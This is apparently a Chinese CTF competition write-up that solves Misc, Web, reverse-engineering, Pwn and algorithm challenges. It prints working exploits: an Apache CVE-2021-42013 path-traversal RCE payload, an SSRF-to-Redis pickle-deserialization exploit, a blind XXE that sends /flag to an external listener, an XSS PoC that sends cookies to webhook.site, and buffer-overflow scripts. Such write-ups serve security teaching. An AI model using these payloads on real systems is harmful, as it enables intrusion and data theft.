2024高校網路安全管理運維賽 wp

渗透测试中心發表於2024-10-07

0x00 前言

本文是關於“2024高校網路安全管理運維賽”的詳細題解,主要針對Web、Pwn、Re、Misc以及Algorithm等多方向題目的解題過程,包含但不限於釣魚郵件識別、流量分析、SQLite檔案解析、ssrf、xxe等等。如有錯誤,歡迎指正。

0x01 Misc

簽到

給了一個gif,直接線上分幀

得到synt{fvtava-dhvm-jryy-qbar},一眼凱撒,直接rot13解碼

flag{signin-quiz-well-done}

釣魚郵件識別

給了一個eml郵件檔案,可以用郵箱軟體檢視,也可以直接檢視(可能麻煩點)

Flag 1

直接base64解碼,得到flag{wElCoMeTo}

Flag 2

下面的內容是base64編碼的資訊

解碼後檢視,得到flag{phIsHhuntINg}

Flag 3

eml檔案剩下的內容沒有flag了,只能從發件人的域名下手了

查下dns解析,這裡用的是360威脅情報中心

https://ti.360.net/domain/foobar-edu-cn.com

(這個情報中心會記錄比賽過程的解析歷史,所以現在直接看子域名資訊就能得到flag)

下面還是正常過一遍查詢流程

除了第三方服務平臺,也可以用windows自帶的nslookup,檢視域名的TXT記錄

nslookup -qt=txt foobar-edu-cn.com

根據提示,應該是得去找該域名下的子域名的解析記錄,三個拼接出完整的flag

由於域名是在國外申請的,國內很多網站都解析不出來,只能用國外的網站慢慢試

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/details spf

https://dnsspy.io/scan/foobar-edu-cn.com default._domainkey

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com _dmarc

分別得到三個部分,拼接得到flag

flag_part1={N0wY0u
flag_part2=_Kn0wH0wt0_
flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

其實那三個子域名是對應電子郵件伺服器的幾種協議,例如:SPF、DKIM 和 DMARC,分別提供對應服務

https://help.aliyun.com/document_detail/2685946.html

easyshell

給一個pcap流量包,直接能看到在post請求shell.php,應該是在傳馬後命令執行

過濾下http流,確信上面猜想

追蹤http流,post的內容是加密過的,結合題目和冰蠍4.0的流量特徵,猜測這個是冰蠍馬

冰蠍流量特徵:

  • Accept: application/json, text/javascript, */*; q=0.01
  • Content-type: Application/x-www-form-urlencoded
  • Connection: Keep-Alive

冰蠍4.0使用AES加密,預設金鑰為e45e329feb5d925b,即md5('rebeyond')的前16位

冰蠍3.0,預設密碼為:e45e329feb5d925b,可以看看:behinder_decrypt/decropt.php at master · melody27/behinder_decrypt · GitHub

從最後一個響應包往回解碼試試

這裡需要注意Cyber的AES-CBC模式的iv不能空著,但又不需要偏移,所以填入0

找到一個有內容的

看看請求包是在請求什麼,這裡放下解碼後的結果,可以看出是在讀取secret2.txt檔案

secret2.txt

Hello, but what you're looking for isn't me.

然後在前一個響應包找到關鍵內容

是個zip壓縮包,直接儲存出來

檢視zip,有個secret1.txt和secret2.txt,需要密碼

結合已知secret2.txt的內容,我們可以透過已知明文攻擊

先寫個secret2.txt,儲存為zip,保證和原來的加密演算法一樣

開始明文攻擊,這裡有個小技巧,等他顯示找回口令時停止,彈出視窗點儲存就能解壓了

得到flag{70854278-ea0c-462e-bc18-468c7a04a505}


SecretDB

題目給了一個sqlite的db檔案,開啟只有Too late, no flag for you.

應該得恢復被delete的資訊,沒有找到能直接恢復的工具,要麼恢復不出來要麼亂碼,嘗試手動提取

參考:https://www.cnblogs.com/jiangcsu/p/6569045.html

重點是單元內的結構

010editor開啟secret.db,定位到flag處檢視,紅框下面的部分就是之前被刪除的資料

從上面資料庫flag表的結構,我們能看出列為id、sort和message,sort是排序用的索引,message儲存可見字元,所以我們可以簡單的觀察上圖的可見字元,也就是message,那麼他們的前一位就是sort了,例如可見字元9的十六進位制為39,它的前一位為0e,所以索引為0e的值為9

依次類推,提取剩餘的值

0x17 -
0x0 f
0xe 9
0x1b 7
0x10 3
0xa b
0x19 2
0x14 b
0xf 2
0x12 -
0x23 4
0x16 6
0x1f a
0x25 8
0x2 a
0x1e f
0x5 f
0x3 g
0x11 c
0xc 0
0x4 {
0x22 a
0x21 b
0x7 2
0x1d f
0x26 f
0x1c -
0x9 1
0x27 0
0xd -
0xb f
0x8 9
0x1 l
0x13 4
0x29 }
0x15 a
0x28 b
0x6 6
0x1a d
0x24 e
0x20 b

寫個指令碼排序,輸出flag

with open('1.txt', 'r') as f:
    data = f.readlines()

out = [' ' for i in range(43)]
for i in data:
    index, val = i.replace('\n', '').split(' ')
    index = int(index, 16)
    out[index] = val

flag = ''
index = 0
for i in out:
    print(hex(index), i)
    index += 1
    flag += i
print(flag)
# flag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

缺了一位,爆破一下,得出flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

給了一個閘道器原始碼,index.html有產品名稱HS8145V

查詢password,在cgi-bin/baseinfoSet.json有一串密碼

106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&

搜尋一下cgi-bin/baseinfoSet.json

https://github.com/iheshime/ChinaTelecom-ESurfing-Gateway-HG260-Admin-Password-Algorithm

發現是閘道器管理員通用的加密演算法,小改下指令碼

exp.py:

def passwd_decode(code) -> str:
    passwd_list = map(int, code.split('&'))
    result=[]
    for i in passwd_list:
        if 97 <= i <= 100 or 65 <= i <= 68:
            i += 22
        elif i > 57:
            i -= 4

        result.append(chr(i))
        #print(i, chr(i))
    return (''.join(result))
passwd = passwd_decode("106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129")
print(passwd)
# flag{ad1985868133e8cf1828cb84adbe5a5b}
或者
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    ## "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}

zip

#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <pty.h>

char token[1024], buf[1024];

void load() {
    FILE *f = fopen("token.txt", "r");
    fgets(token, sizeof(token), f);
    token[64] = 0; // maybe 64 bytes is enough
    fclose(f);
}

int cmpstr(char const *a, char const *b) {
    return memcmp(a, b, strlen(a));
}

void zip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "a", "flag.zip", "tmp/flag.txt", "-mem=AES256", "-p", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

void unzip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "e", "flag.zip", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "rename all")) {
                usleep(10000);
                write(master, "u\n", 2);
            }

            if (strstr(buffer, "Enter password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

int main(int argc, char *argv[]) {
    load();
    system("7z");

    puts("your token:");
    fflush(stdout);
    fgets(buf, sizeof(buf), stdin);
    if (cmpstr(token, buf)) {
        puts("wrong token!");
        return 1;
    }

    zip(buf);

    puts("your flag:");
    fflush(stdout);

    fgets(buf, sizeof(buf), stdin);
    if (cmpstr("flag{", buf)) {
        puts("wrong flag!");
        return 1;
    }

    unzip(buf);

    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        puts("flag.txt not found");
        return 1;
    }
    fgets(buf, sizeof(buf), f);
    fclose(f);

    printf("flag: %s\n", buf);

    return 0;
}

題目是模仿終端輸入,透過條件是輸入的內容要有flag{開頭,又要等於隊伍token(包含flag{)

主要是利用ascii中的\x7f即del,對前面的flag{進行刪除

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("url",10003)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','隊伍token')
sla('token:','隊伍token')

pl='flag{'+'\x7f'*6+'隊伍token'
sla('your flag:',pl)
p.interactive()
flag{n3v3r-90NN4-91V3-y0U-UP}
或者
from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())

r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

Apache

from flask import Flask,request,send_file
import socket

app = Flask("webserver")

@app.route('/',methods=["GET"])
def index():
    return send_file(__file__)

@app.route('/nc',methods=["POST"])
def nc():
    try:
        dstport=int(request.form['port'])
        data=request.form['data']
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect(('127.0.0.1', dstport))
        s.send(data.encode())
        recvdata = b''
        while True:
            chunk = s.recv(2048)
            if not chunk.strip():
                break
            else:
                recvdata += chunk
                continue
        return recvdata
    except Exception as e:
        return str(e)

app.run(host="0.0.0.0",port=8080,threaded=True)

題目接受引數port和data,對127.0.0.1:port進行nc連線,傳送data

httpd.conf裡開啟了cgid

LoadModule cgid_module modules/mod_cgid.so

結合題目apache,應該是要打CVE-2021-42013,路徑穿越命令執行

同時,題目nc傳送data後是迴圈接收chunk,這樣會導致完異常無法接受返回資訊

針對chunked傳輸模式,透過設定Content-Length來限制長度(可以參考上一篇的"凌武杯" D^3CTF 2024 wp)

exp.py

import requests

url = "url/nc"

poc = "echo;cat /flag"
payload=f"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\nContent-Length: {len(poc)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n{poc}"""
data ={
    "port":"80",
    "data":payload
}
res = requests.post(url=url,data=data)
print(res.text)

flag{whaTaapaCherce}

f or r

這個沒什麼好說的,能找到原題

https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html

照著文章直接出

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'


r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())


r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())


exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

image-20240507001406831

0x02 Web

phpsql

一個使用者登入介面,password存在sql注入點

儲存請求包,sqlmap一把梭

python .\sqlmap.py -r post.txt --dbms mysql --tamper=space2comment -D ctftraining -T "flag" -C "flag" --dump

但注出的flag欄位為空

後面發現就是個簡單的sql注入,登入後檢視就行

空格被過濾了,用MySQL註釋符繞過



或者用萬能密碼繞過

2024高校網路安全管理運維賽 wp

pyssrf

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)

@app.route('/')
def hello():
    url = request.args.get("url")
    return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source') 
def source(): 
    return

參考:

https://bugs.python.org/issue42987 存在CRLF漏洞

flask不出網回顯方式 - Longlone’s Blog

題目是接收一個url引數,將redis中url對應的值取出並pickle反序列化

提示python版本為3.7.1,構造pickle序列化資料需要注意版本

主要思路為,利用CRLF注入,打redis未授權,將redis中url對應的值修改為惡意的pickle序列化資料,再次訪問時,題目將redis中的內容取出進行pickle反序列化,造成命令執行

exp.py

import requests
import hashlib
import pickle
import base64
import urllib

url = "/?url="

payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'raise Exception(__import__('os').popen('cat /f*').read())'
tR.
'''

payload_base64 = urllib.parse.quote(base64.b64encode(payload).decode())
print(payload_base64)

def encode_url(url):
    url_key = hashlib.md5(url.encode()).hexdigest()
    return url_key

inject_url = '1.2.3.4'
url_shell = url + inject_url
url_encode = encode_url("http://" + inject_url)

payload = f"127.0.0.1:6379?\r\nauth\r\nroot\r\nSET {url_encode} {payload_base64}\r\nquit"

url_set = url + payload
res1 = requests.get(url=url_set)
print(res1.text)
res2 = requests.get(url=url_shell)
print(res2.text)

fileit

盲打XXE,參考文章https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/

抓包,將xml轉換為dom,應該是xxe,但無回顯

需要讀取vps上惡意dtd,執行命令後回顯到vps上

vps:

a.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:port?file=%data;'>">
# 開啟監聽埠3000
nc -lnvp 3000

發包:

POST / HTTP/2
Host: 
Content-Length: 152
Content-Type: application/xml

<?xml version="1.0" ?>

<!ENTITY % sp SYSTEM "http://ip:port/a.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

成功回顯,base64解碼得到flag

Messy Mongo

程式碼審計+F12的hint,找到修改使用者名稱的路由:

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {	//修改賬號
  const { user } = c.get('jwtPayload')  
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

這裡可以利用mongodb聚合特性中的字串操作來繞過assert.notEqual並且修改使用者為adminhttps://www.jianshu.com/p/42845d117587。

登入ctfer使用者拿到jwt令牌,然後先傳送一個修改使用者名稱為Admin的請求:

{"username":"Admin"}

再登入Admin使用者,修改使用者名稱為小寫:

{"username":{"$toLower":"$username"}}

請求訪問即可拿到flag:

image-20240506223322284

JustXSS

預測nonce來進行XSS。
V8的 Math.random() 方法不是密碼學安全的,可以透過歷史記錄來預測偽隨機數生成器內部狀
態,從而獲取之後得到的值。
能拿到未來的nonce後就可以很方便的注入裡。但由於Vue的v-html是設定 innerHTML 來更新
DOM,而事件偵聽由被CSP給ban了,直接注入 <script> 也是不會執行的。
這裡就需要第二個Trick,使用iframe繞過這個限制。
PoC:
<iframe srcdoc="<script
nonce='$NONCE'>window.open('https://webhook.site/88da27db-7c1e-4fee-8410-
9cef8bc08d2c?'+document.cookie)</script>"></iframe>


0x03 Re

easyre

經典BASE64換表題目,表為ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

2024高校網路安全管理運維賽 wp

確實easy,就是一個換標base64

babyre

有一層upx殼,脫殼後直接扔到angr一把梭

img

import angr

p=angr.Project('./babyre',auto_load_libs=False)
start_start=p.factory.entry_state()
simgr=p.factory.simgr()
#target addr
def target(state):
        return b"Your flag is" in state.posix.dumps(1)
#avoid addr
def bad(state):
        return b"Wrong!" in state.posix.dumps(1)
simgr.explore(find=target,avoid=bad)
if simgr.found:
        solution_state=simgr.found[0]
        print(solution_state.posix.dumps(1))#模擬符合posix環境的資料儲存和輸入輸出

0x04 Pwn

Login

登入時使用長字串能夠爆出登入密碼:

img

嘗試使用者名稱和密碼,用admin/1q2w3e4r成功登入,將程式dump下來。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
file = p.recvall()
fd.write(file)

存在後門函式,直接ret2backdoor即可

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
## p.recvuntil(b'Username:')
## p.sendline(b'admin')
## p.recvuntil(b'Password')
## p.sendline(b'1q2w3e4r')

## p.recvuntil(b'Core dumped\n')
## with open('./Login','+ab') as fd:
## file = p.recvall()
## fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()


img

img

babypwn

給了後門函式,直接打ret2backdoor即可。

2024高校網路安全管理運維賽 wp

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("prob07.contest.pku.edu.cn",10007)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','20:MEYCIQCSPC8cZqmtbdZzL8NH8ZsYVZWmObVOyeXgLCqEUxxxyAIhALrkbJlt4GFMl-p6cyLpLdBUMaZRJrVU3ETXNwH7tuPN')
sla('Enter your username: ','root\x00')
pl=b'/bin/sh\x00'+b'a'*0x30+flat(0x00000000040117a)

sa('Enter the password: ',pl)
p.interactive()

0x05 Algorithm

secretbit

from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm

def instance(m, n):
    start = list(range(m))
    shuffle(start)
    for i in range(m):
        now = start[i]
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
        if not this_turn:
            return 0
    return 1

def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    return message

MAX_M = 400
MIN_M = 200
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []

for bi in tqdm(flag_b):
    while True:
        tmp_m0 = randrange(MIN_M, MAX_M)
        tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
        tmp_m1 = randrange(MIN_M, MAX_M)
        tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
        if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
            break
    choose_m = tmp_m0 if bi == 0 else tmp_m1
    choose_n = tmp_n0 if bi == 0 else tmp_n1
    leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])

open('data.txt', 'w').write(str(leak_message))

根據flag的bit來選擇m0和n0,或者m1和n1

題目給了m0、n0、m1、n1和leak後的資料,直接計算兩種情況的leak,看哪個和給的leak相近,就能判斷出該位的bit了

exp.py:

import ast
import math
from tqdm import tqdm

def instance_avg(m, n, times=2000):
    from random import shuffle
    total = 0
    for _ in range(times):
        start = list(range(m))
        shuffle(start)
        for i in range(m):
            now = start[i]
            this_turn = False
            for _ in range(n-1):
                if now == i:
                    this_turn = True
                    break
                now = start[now]
            if not this_turn:
                total += 0
                break
        else:
            total += 1
    return total / times

with open('data.txt', 'r') as file:
    data = ast.literal_eval(file.read())

flag_bits = []
for [[m0, n0], [m1, n1], message] in tqdm(data):
    p = sum(message) / len(message)
    avg_m0_n0 = instance_avg(m0, n0)
    avg_m1_n1 = instance_avg(m1, n1)

    if math.isclose(p, avg_m0_n0, abs_tol=0.05):
        flag_bits.append(0)
    elif math.isclose(p, avg_m1_n1, abs_tol=0.05):
        flag_bits.append(1)
    else:
        raise ValueError("Unable to determine bit value")

flag_bin_str = ''.join(map(str, flag_bits))
flag_int = int(flag_bin_str, 2)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')

print(flag.decode())

0x06 總結

這次比賽有些平時接觸不到的知識點,像是釣魚郵件識別中的dns解析,sqlite檔案解析,也有對一些知識的加固,例如apache目錄穿越,ssrf+redis未授權,xxe無回顯,等等。總的來說,學習到了很多,再接再厲!


附件題目下載地址:

連結: https://pan.baidu.com/s/1AFgFsn0BNZrqB0eyt2e_5Q 提取碼: q7e7


轉載原文參考連結地址:
https://forum.butian.net/share/2984
https://blog.csdn.net/jyttttttt/article/details/138514076
https://blog.xmcve.com/2024/05/07/%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E8%B5%9B-Writeup/#title-11

相關文章